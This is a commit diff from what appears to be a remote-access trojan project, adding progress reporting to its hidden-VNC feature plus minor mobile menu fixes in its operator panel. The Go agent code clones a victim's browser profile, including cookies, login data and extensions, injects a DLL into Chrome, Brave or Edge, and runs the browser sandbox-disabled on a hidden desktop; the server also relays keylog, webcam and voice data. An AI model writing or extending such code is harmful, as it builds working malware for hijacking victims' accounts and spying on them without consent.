add hvnc cloning progress, fix context menu stuff for mobile view, more updates
This commit is contained in:
@@ -12,6 +12,8 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
|||||||
return errors.New("HVNC injection not supported on this platform")
|
return errors.New("HVNC injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool) error {
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||||
|
|
||||||
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error {
|
||||||
return errors.New("HVNC injection not supported on this platform")
|
return errors.New("HVNC injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -30,6 +30,8 @@ var (
|
|||||||
|
|
||||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||||
|
|
||||||
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
PROCESS_CREATE_THREAD = 0x0002
|
PROCESS_CREATE_THREAD = 0x0002
|
||||||
PROCESS_QUERY_INFORMATION = 0x0400
|
PROCESS_QUERY_INFORMATION = 0x0400
|
||||||
@@ -118,7 +120,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
|
|||||||
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
||||||
// If clone is false, it starts the browser with injection but no path redirection.
|
// If clone is false, it starts the browser with injection but no path redirection.
|
||||||
// browser should be one of: "chrome", "brave", "edge".
|
// browser should be one of: "chrome", "brave", "edge".
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool) error {
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error {
|
||||||
info, ok := browserInfoMap[strings.ToLower(browser)]
|
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||||
if !ok {
|
if !ok {
|
||||||
return fmt.Errorf("unknown browser %q", browser)
|
return fmt.Errorf("unknown browser %q", browser)
|
||||||
@@ -142,7 +144,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
}
|
}
|
||||||
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
|
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
|
||||||
|
|
||||||
cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite)
|
cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("profile clone failed: %v", err)
|
return fmt.Errorf("profile clone failed: %v", err)
|
||||||
}
|
}
|
||||||
@@ -153,7 +155,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
|
|
||||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false)
|
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
type browserInfo struct {
|
type browserInfo struct {
|
||||||
@@ -225,7 +227,7 @@ func getBrowserUserDataDir(info browserInfo) string {
|
|||||||
// cloneBrowserProfile clones the browser user data directory, skipping only
|
// cloneBrowserProfile clones the browser user data directory, skipping only
|
||||||
// large cache directories that aren't needed for a functional session.
|
// large cache directories that aren't needed for a functional session.
|
||||||
// This preserves extensions, cookies, login data, local storage, etc.
|
// This preserves extensions, cookies, login data, local storage, etc.
|
||||||
func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (string, error) {
|
func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onProgress CloneProgressFunc) (string, error) {
|
||||||
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
|
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
|
||||||
// Remove any previous cloned profile directories so we always use fresh data
|
// Remove any previous cloned profile directories so we always use fresh data
|
||||||
tmpDir := os.TempDir()
|
tmpDir := os.TempDir()
|
||||||
@@ -290,6 +292,32 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (str
|
|||||||
return "", fmt.Errorf("read user data dir: %v", err)
|
return "", fmt.Errorf("read user data dir: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Calculate total size for progress reporting
|
||||||
|
var totalBytes int64
|
||||||
|
if onProgress != nil {
|
||||||
|
onProgress(0, 0, 0, "scanning")
|
||||||
|
totalBytes = calcCloneSize(srcUserData, skipDirs)
|
||||||
|
onProgress(0, 0, totalBytes, "cloning")
|
||||||
|
}
|
||||||
|
|
||||||
|
var copiedBytes int64
|
||||||
|
lastPercent := -1
|
||||||
|
|
||||||
|
reportProgress := func(n int64) {
|
||||||
|
if onProgress == nil || totalBytes <= 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
copiedBytes += n
|
||||||
|
pct := int(copiedBytes * 100 / totalBytes)
|
||||||
|
if pct > 100 {
|
||||||
|
pct = 100
|
||||||
|
}
|
||||||
|
if pct != lastPercent {
|
||||||
|
lastPercent = pct
|
||||||
|
onProgress(pct, copiedBytes, totalBytes, "cloning")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
for _, entry := range entries {
|
for _, entry := range entries {
|
||||||
name := entry.Name()
|
name := entry.Name()
|
||||||
src := filepath.Join(srcUserData, name)
|
src := filepath.Join(srcUserData, name)
|
||||||
@@ -299,28 +327,98 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (str
|
|||||||
// For profile directories (Default, Profile N), clone contents but skip caches inside
|
// For profile directories (Default, Profile N), clone contents but skip caches inside
|
||||||
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
||||||
if isProfile {
|
if isProfile {
|
||||||
if err := cloneProfileDir(browserName, src, dst, skipDirs); err != nil {
|
if err := cloneProfileDirProgress(browserName, src, dst, skipDirs, reportProgress); err != nil {
|
||||||
log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
|
log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
|
||||||
}
|
}
|
||||||
} else if !skipDirs[strings.ToLower(name)] {
|
} else if !skipDirs[strings.ToLower(name)] {
|
||||||
// Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
|
// Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
|
||||||
if err := copyDir(src, dst); err != nil {
|
if err := copyDirProgress(src, dst, reportProgress); err != nil {
|
||||||
log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
|
log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// Top-level files (Local State, etc.)
|
// Top-level files (Local State, etc.)
|
||||||
if err := copyFile(src, dst); err != nil {
|
n, err := copyFileCount(src, dst)
|
||||||
|
if err != nil {
|
||||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||||
|
} else {
|
||||||
|
reportProgress(n)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if onProgress != nil {
|
||||||
|
onProgress(100, totalBytes, totalBytes, "done")
|
||||||
|
}
|
||||||
|
|
||||||
return cloneBase, nil
|
return cloneBase, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// cloneProfileDir copies a profile directory (e.g. Default/) skipping cache subdirs.
|
// calcCloneSize walks the source user data directory and returns the total
|
||||||
func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) error {
|
// byte count of files that would be copied (respecting skipDirs).
|
||||||
|
func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 {
|
||||||
|
var total int64
|
||||||
|
entries, err := os.ReadDir(srcUserData)
|
||||||
|
if err != nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
for _, entry := range entries {
|
||||||
|
name := entry.Name()
|
||||||
|
p := filepath.Join(srcUserData, name)
|
||||||
|
if entry.IsDir() {
|
||||||
|
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
||||||
|
if isProfile {
|
||||||
|
total += calcProfileSize(p, skipDirs)
|
||||||
|
} else if !skipDirs[strings.ToLower(name)] {
|
||||||
|
total += calcDirSize(p)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if info, err := entry.Info(); err == nil {
|
||||||
|
total += info.Size()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return total
|
||||||
|
}
|
||||||
|
|
||||||
|
func calcProfileSize(dir string, skipDirs map[string]bool) int64 {
|
||||||
|
var total int64
|
||||||
|
entries, err := os.ReadDir(dir)
|
||||||
|
if err != nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
for _, entry := range entries {
|
||||||
|
name := entry.Name()
|
||||||
|
p := filepath.Join(dir, name)
|
||||||
|
if entry.IsDir() {
|
||||||
|
if !skipDirs[strings.ToLower(name)] {
|
||||||
|
total += calcDirSize(p)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if info, err := entry.Info(); err == nil {
|
||||||
|
total += info.Size()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return total
|
||||||
|
}
|
||||||
|
|
||||||
|
func calcDirSize(dir string) int64 {
|
||||||
|
var total int64
|
||||||
|
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if !info.IsDir() {
|
||||||
|
total += info.Size()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
return total
|
||||||
|
}
|
||||||
|
|
||||||
|
// cloneProfileDirProgress copies a profile directory with progress reporting.
|
||||||
|
func cloneProfileDirProgress(browserName, src, dst string, skipDirs map[string]bool, report func(int64)) error {
|
||||||
if err := os.MkdirAll(dst, 0700); err != nil {
|
if err := os.MkdirAll(dst, 0700); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -337,39 +435,42 @@ func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) err
|
|||||||
if skipDirs[strings.ToLower(name)] {
|
if skipDirs[strings.ToLower(name)] {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if err := copyDir(s, d); err != nil {
|
if err := copyDirProgress(s, d, report); err != nil {
|
||||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if err := copyFile(s, d); err != nil {
|
n, err := copyFileCount(s, d)
|
||||||
|
if err != nil {
|
||||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||||
|
} else {
|
||||||
|
report(n)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func copyFile(src, dst string) error {
|
func copyFileCount(src, dst string) (int64, error) {
|
||||||
in, err := os.Open(src)
|
in, err := os.Open(src)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return 0, err
|
||||||
}
|
}
|
||||||
defer in.Close()
|
defer in.Close()
|
||||||
|
|
||||||
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
|
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
|
||||||
return err
|
return 0, err
|
||||||
}
|
}
|
||||||
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return 0, err
|
||||||
}
|
}
|
||||||
defer out.Close()
|
defer out.Close()
|
||||||
|
|
||||||
_, err = io.Copy(out, in)
|
n, err := io.Copy(out, in)
|
||||||
return err
|
return n, err
|
||||||
}
|
}
|
||||||
|
|
||||||
func copyDir(src, dst string) error {
|
func copyDirProgress(src, dst string, report func(int64)) error {
|
||||||
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil // skip errors
|
return nil // skip errors
|
||||||
@@ -379,7 +480,11 @@ func copyDir(src, dst string) error {
|
|||||||
if info.IsDir() {
|
if info.IsDir() {
|
||||||
return os.MkdirAll(target, 0700)
|
return os.MkdirAll(target, 0700)
|
||||||
}
|
}
|
||||||
return copyFile(path, target)
|
n, err := copyFileCount(path, target)
|
||||||
|
if err == nil {
|
||||||
|
report(n)
|
||||||
|
}
|
||||||
|
return err
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -435,9 +540,9 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (
|
|||||||
}
|
}
|
||||||
args := " --window-position=0,0"
|
args := " --window-position=0,0"
|
||||||
browserExes := map[string]bool{
|
browserExes := map[string]bool{
|
||||||
"chrome.exe": true,
|
"chrome.exe": true,
|
||||||
"brave.exe": true,
|
"brave.exe": true,
|
||||||
"msedge.exe": true,
|
"msedge.exe": true,
|
||||||
}
|
}
|
||||||
if browserExes[strings.ToLower(filepath.Base(filePath))] {
|
if browserExes[strings.ToLower(filepath.Base(filePath))] {
|
||||||
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
|
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
|
||||||
|
|||||||
@@ -1366,7 +1366,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes))
|
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes))
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite); err != nil {
|
var onProgress capture.CloneProgressFunc
|
||||||
|
if clone {
|
||||||
|
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
|
||||||
|
Type: "hvnc_clone_progress",
|
||||||
|
Browser: browser,
|
||||||
|
Percent: percent,
|
||||||
|
CopiedBytes: copiedBytes,
|
||||||
|
TotalBytes: totalBytes,
|
||||||
|
Status: status,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, onProgress); err != nil {
|
||||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -198,3 +198,12 @@ type WebcamDevices struct {
|
|||||||
Devices []WebcamDevice `msgpack:"devices"`
|
Devices []WebcamDevice `msgpack:"devices"`
|
||||||
Selected int `msgpack:"selected"`
|
Selected int `msgpack:"selected"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type HVNCCloneProgress struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Browser string `msgpack:"browser"`
|
||||||
|
Percent int `msgpack:"percent"`
|
||||||
|
CopiedBytes int64 `msgpack:"copiedBytes"`
|
||||||
|
TotalBytes int64 `msgpack:"totalBytes"`
|
||||||
|
Status string `msgpack:"status"`
|
||||||
|
}
|
||||||
|
|||||||
@@ -206,6 +206,51 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const cloneProgressEl = document.getElementById("cloneProgress");
|
||||||
|
const cloneProgressBar = document.getElementById("cloneProgressBar");
|
||||||
|
const cloneProgressPct = document.getElementById("cloneProgressPct");
|
||||||
|
const cloneProgressLabel = document.getElementById("cloneProgressLabel");
|
||||||
|
let cloneHideTimer = null;
|
||||||
|
|
||||||
|
function handleCloneProgress(msg) {
|
||||||
|
if (!cloneProgressEl) return;
|
||||||
|
const pct = Math.min(100, Math.max(0, Number(msg.percent) || 0));
|
||||||
|
const status = msg.status || "";
|
||||||
|
const browser = msg.browser || "";
|
||||||
|
const totalMB = ((Number(msg.totalBytes) || 0) / (1024 * 1024)).toFixed(1);
|
||||||
|
const copiedMB = ((Number(msg.copiedBytes) || 0) / (1024 * 1024)).toFixed(1);
|
||||||
|
|
||||||
|
if (cloneHideTimer) {
|
||||||
|
clearTimeout(cloneHideTimer);
|
||||||
|
cloneHideTimer = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (status === "done") {
|
||||||
|
cloneProgressBar.style.width = "100%";
|
||||||
|
cloneProgressPct.textContent = "100%";
|
||||||
|
cloneProgressLabel.textContent = `${browser} clone complete`;
|
||||||
|
cloneHideTimer = setTimeout(() => {
|
||||||
|
cloneProgressEl.classList.add("hidden");
|
||||||
|
cloneProgressEl.classList.remove("flex");
|
||||||
|
}, 3000);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
cloneProgressEl.classList.remove("hidden");
|
||||||
|
cloneProgressEl.classList.add("flex");
|
||||||
|
|
||||||
|
if (status === "scanning") {
|
||||||
|
cloneProgressBar.style.width = "0%";
|
||||||
|
cloneProgressPct.textContent = "…";
|
||||||
|
cloneProgressLabel.textContent = `Scanning ${browser} profile`;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
cloneProgressBar.style.width = `${pct}%`;
|
||||||
|
cloneProgressPct.textContent = `${pct}%`;
|
||||||
|
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
|
||||||
|
}
|
||||||
|
|
||||||
function sendCmd(type, payload) {
|
function sendCmd(type, payload) {
|
||||||
if (!activeClientId) {
|
if (!activeClientId) {
|
||||||
console.warn("No active client selected");
|
console.warn("No active client selected");
|
||||||
@@ -542,6 +587,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
handleStatus(msg);
|
handleStatus(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_clone_progress") {
|
||||||
|
handleCloneProgress(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -550,6 +599,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
handleStatus(msg);
|
handleStatus(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_clone_progress") {
|
||||||
|
handleCloneProgress(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
ws.addEventListener("open", function () {
|
ws.addEventListener("open", function () {
|
||||||
|
|||||||
@@ -131,7 +131,7 @@ export function createRenderer({
|
|||||||
card.dataset.id = client.id;
|
card.dataset.id = client.id;
|
||||||
card.dataset.hwid = client.hwid || "";
|
card.dataset.hwid = client.hwid || "";
|
||||||
let longPressTimer = null;
|
let longPressTimer = null;
|
||||||
let longPressTriggered = false;
|
card._longPressTriggered = false;
|
||||||
let pointerStartX = 0;
|
let pointerStartX = 0;
|
||||||
let pointerStartY = 0;
|
let pointerStartY = 0;
|
||||||
|
|
||||||
@@ -158,12 +158,12 @@ export function createRenderer({
|
|||||||
const clientId = card.dataset.id;
|
const clientId = card.dataset.id;
|
||||||
if (!clientId) return;
|
if (!clientId) return;
|
||||||
|
|
||||||
longPressTriggered = false;
|
card._longPressTriggered = false;
|
||||||
pointerStartX = e.clientX;
|
pointerStartX = e.clientX;
|
||||||
pointerStartY = e.clientY;
|
pointerStartY = e.clientY;
|
||||||
clearLongPress();
|
clearLongPress();
|
||||||
longPressTimer = setTimeout(() => {
|
longPressTimer = setTimeout(() => {
|
||||||
longPressTriggered = true;
|
card._longPressTriggered = true;
|
||||||
openMenu(clientId, e.clientX, e.clientY);
|
openMenu(clientId, e.clientX, e.clientY);
|
||||||
}, TOUCH_LONG_PRESS_MS);
|
}, TOUCH_LONG_PRESS_MS);
|
||||||
});
|
});
|
||||||
@@ -317,8 +317,8 @@ export function createRenderer({
|
|||||||
?.addEventListener("click", () => openModal(client.thumbnail));
|
?.addEventListener("click", () => openModal(client.thumbnail));
|
||||||
|
|
||||||
card.onclick = (e) => {
|
card.onclick = (e) => {
|
||||||
if (longPressTriggered) {
|
if (card._longPressTriggered) {
|
||||||
longPressTriggered = false;
|
card._longPressTriggered = false;
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
e.stopPropagation();
|
e.stopPropagation();
|
||||||
return;
|
return;
|
||||||
|
|||||||
@@ -259,16 +259,20 @@ function hideSubmenu() {
|
|||||||
ctxMain.querySelectorAll(".ctx-row").forEach(r => r.classList.remove("ctx-active"));
|
ctxMain.querySelectorAll(".ctx-row").forEach(r => r.classList.remove("ctx-active"));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Desktop: hover to open group
|
function isMobileMenu() {
|
||||||
|
return window.matchMedia("(max-width: 600px)").matches;
|
||||||
|
}
|
||||||
|
|
||||||
ctxMain.querySelectorAll(".ctx-row").forEach(rowEl => {
|
ctxMain.querySelectorAll(".ctx-row").forEach(rowEl => {
|
||||||
rowEl.addEventListener("mouseenter", () => {
|
rowEl.addEventListener("mouseenter", () => {
|
||||||
|
if (isMobileMenu()) return;
|
||||||
const groupId = rowEl.dataset.groupToggle;
|
const groupId = rowEl.dataset.groupToggle;
|
||||||
if (groupId) showSubmenu(groupId, rowEl);
|
if (groupId) showSubmenu(groupId, rowEl);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
// Debounced hide — prevents the 5px gap between panels from closing the submenu
|
// Debounced hide — prevents the 5px gap between panels from closing the submenu
|
||||||
function scheduleHide() { _hideTimer = setTimeout(hideSubmenu, 150); }
|
function scheduleHide() { if (!isMobileMenu()) _hideTimer = setTimeout(hideSubmenu, 150); }
|
||||||
function cancelHide() { clearTimeout(_hideTimer); _hideTimer = null; }
|
function cancelHide() { clearTimeout(_hideTimer); _hideTimer = null; }
|
||||||
|
|
||||||
ctxMain.addEventListener("mouseleave", scheduleHide);
|
ctxMain.addEventListener("mouseleave", scheduleHide);
|
||||||
|
|||||||
@@ -88,6 +88,17 @@
|
|||||||
<i class="fa-solid fa-circle-notch fa-spin"></i>
|
<i class="fa-solid fa-circle-notch fa-spin"></i>
|
||||||
<span>Connecting</span>
|
<span>Connecting</span>
|
||||||
</div>
|
</div>
|
||||||
|
<div
|
||||||
|
id="cloneProgress"
|
||||||
|
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-clone text-violet-400"></i>
|
||||||
|
<span id="cloneProgressLabel">Cloning profile…</span>
|
||||||
|
<div class="w-32 h-2 bg-slate-700 rounded-full overflow-hidden">
|
||||||
|
<div id="cloneProgressBar" class="h-full bg-violet-500 rounded-full transition-all duration-200" style="width: 0%"></div>
|
||||||
|
</div>
|
||||||
|
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
|
||||||
|
</div>
|
||||||
<div
|
<div
|
||||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -75,6 +75,7 @@ import {
|
|||||||
handleWebcamViewerMessage,
|
handleWebcamViewerMessage,
|
||||||
handleWebcamViewerOpen,
|
handleWebcamViewerOpen,
|
||||||
handleWebcamDevices,
|
handleWebcamDevices,
|
||||||
|
handleHVNCCloneProgress,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
handleRemoteDesktopViewerOpen,
|
handleRemoteDesktopViewerOpen,
|
||||||
hvncStreamingState,
|
hvncStreamingState,
|
||||||
@@ -403,6 +404,7 @@ async function startServer() {
|
|||||||
handleNotification: notificationPluginHandlers.handleNotification,
|
handleNotification: notificationPluginHandlers.handleNotification,
|
||||||
handleVoiceUplink,
|
handleVoiceUplink,
|
||||||
handleWebcamDevices,
|
handleWebcamDevices,
|
||||||
|
handleHVNCCloneProgress,
|
||||||
cleanupVoiceViewer,
|
cleanupVoiceViewer,
|
||||||
stopConsoleOnTarget,
|
stopConsoleOnTarget,
|
||||||
sendDesktopCommand,
|
sendDesktopCommand,
|
||||||
|
|||||||
@@ -71,6 +71,7 @@ type WsLifecycleDeps = {
|
|||||||
handleNotification: (clientId: string, payload: any) => void;
|
handleNotification: (clientId: string, payload: any) => void;
|
||||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||||
|
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||||
@@ -294,6 +295,9 @@ export function handleWebSocketMessage(
|
|||||||
case "webcam_devices":
|
case "webcam_devices":
|
||||||
deps.handleWebcamDevices(info.id, payload);
|
deps.handleWebcamDevices(info.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_clone_progress":
|
||||||
|
deps.handleHVNCCloneProgress(info.id, payload);
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -433,6 +433,19 @@ export function handleWebcamDevices(clientId: string, payload: any) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
||||||
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
|
safeSendViewer(session.viewer, {
|
||||||
|
type: "hvnc_clone_progress",
|
||||||
|
browser: String(payload.browser || ""),
|
||||||
|
percent: Number(payload.percent) || 0,
|
||||||
|
copiedBytes: Number(payload.copiedBytes) || 0,
|
||||||
|
totalBytes: Number(payload.totalBytes) || 0,
|
||||||
|
status: String(payload.status || ""),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||||
const payload = decodeViewerPayload(raw);
|
const payload = decodeViewerPayload(raw);
|
||||||
if (!payload || typeof payload.type !== "string") return;
|
if (!payload || typeof payload.type !== "string") return;
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"keylog_delete_result",
|
"keylog_delete_result",
|
||||||
"voice_uplink",
|
"voice_uplink",
|
||||||
"webcam_devices",
|
"webcam_devices",
|
||||||
|
"hvnc_clone_progress",
|
||||||
]);
|
]);
|
||||||
|
|
||||||
export function isAllowedClientMessageType(type: string): boolean {
|
export function isAllowedClientMessageType(type: string): boolean {
|
||||||
|
|||||||
Reference in New Issue
Block a user